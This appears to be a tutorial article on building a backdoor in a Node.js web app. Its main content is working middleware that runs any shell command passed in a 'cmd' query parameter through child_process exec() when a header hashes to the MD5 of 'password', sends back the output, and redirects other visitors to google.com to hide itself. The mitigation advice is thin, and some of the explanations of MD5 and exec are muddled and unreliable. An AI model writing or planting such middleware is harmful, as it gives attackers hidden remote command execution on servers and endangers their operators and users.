Implementing Backdoor in Node.JS


Backdoor is a exploit in web application that makes it vulnerable and allows unauthorized access. In this article, we will explore how Backdoor is implemented in a Node.JS application using child_process library. Lets start by knowing about backdoor in the world of cyber security.

Introduction to Backdoor

Backdoor is defined as a method with which the attacker or unauthorized user can gain the root access of systems, network or an application. Backdoors are used by cyber criminals to steal sensitive credentials, for installing malwares in systems, and for hijacking devices.

Backdoors includes ->

  1. The malware that is being injected and executed on the targeted system.
  2. An open communication channel that allows the attacker to control the host.

Commands are to be sent and executed on the targeted system after backdoor is installed on that system. The commmands are meant to extract sensitive information, and to alter other processes running on the system or a network.
Here, we will be using "child_process" library for the execution of the code and an HTTP server as a communication channel. Now, before starting, let us know about the "child_process" library.

Introduction to child_process library

This library allows us to access functionality of operating systems by running system commands inside. We can control the child process input stream, and listen to its output stream. The arguments that are to be passed as system commands to that OS can also be controlled and we can do anything with the commands output.
We can create child_process in four different ways namely ->spawn(), fork(), exec(), execFile().

The "spawn()" function creates a new process in which we can pass any command as an argument. For example ->

let { spawn } = require('child_process');
let child = spawn('ls'); 

Executing of "spawn" function creates a childProcess instance.
On the other side, "exec()" function creates a shell for executing commands we pass into it. It runs the command in the console and buffers the output. For example,

const { exec } = require('child_process');
exec('find', function(err, stdout, stderr){
    if(err){ console.log(err); }
    console.log(stdout);
})

Whereas, "execFile()" function is used when we dont want to shell for executing a file. This feature makes it more efficient than exec() function.
The "fork()" function is used for spawning node processes. The difference in spawn() and fork() functions is that a communication channel is eshtablished to the child process.

Why child_process ?

A child process will be created by "child_process" module. We can perform execution of a command. We can perform the integration of the command executed. And, if found errors, we can also take it on the console.

Connection with the server

Now, coming to how can we deploy the malicious package to the server. We will use the "useragent" library for this. So, the code for useragent will be -> It will redirect the user to a different URL like - google.com

const useragent = require('useragent');
module.exports = function(req, res, next){
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://www.google.com/")
})   

Implementation

Here comes the main part of our application, the malicious code. So, here is the code ->

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = function(req, res, next){
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "5f4dcc3b5aa765d61d8327deb882cf99") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://www.google.com/")
}

Here, The crypto library is used to create hashes. In this code, we created MD5 (Message Digest Algorithm) hashing technique. MD5 creates a 128 bit hash value. Every time the application requests random data from the system, the code snippet generates a cryptographic hash using the md5 algorithm. Here, hash is being used because it is very difficult to produce the input from the given output (hash generated). The inversion of md5 algorithm is very difficult to be progessed until you know the input. The digest() method generates the digest in the hexadecimal format. Digest is a short but fixed-length value derived from the given input. Here, the "password" string for the user authentication generates the md5 hash as "5f4dcc3b5aa765d61d8327deb882cf99". Here, the "exec" command is used for executing the callback function. To idetify the server using malicious code, we added the extra header - "Content-Sec-Policy". Following it, our code will return the details of the user-agent to the application and redirects to the given URL ("https://www.google.com").

Therefore, when the user tries to open the application, he/she will be redirected to the URL provided and the middleware plugin will be installed (backdoor).

Mitigation of Backdoor attack

Some points to keep in mind ->

  1. The authentication is very essential for avoiding cybercriminals to install their backdoor.
  2. Identification of servers that contain backdoor is important.
  3. Using well-maintained libraries.

With this article at OpenGenus, you must have the complete idea of Backdoor in Node.JS. Enjoy.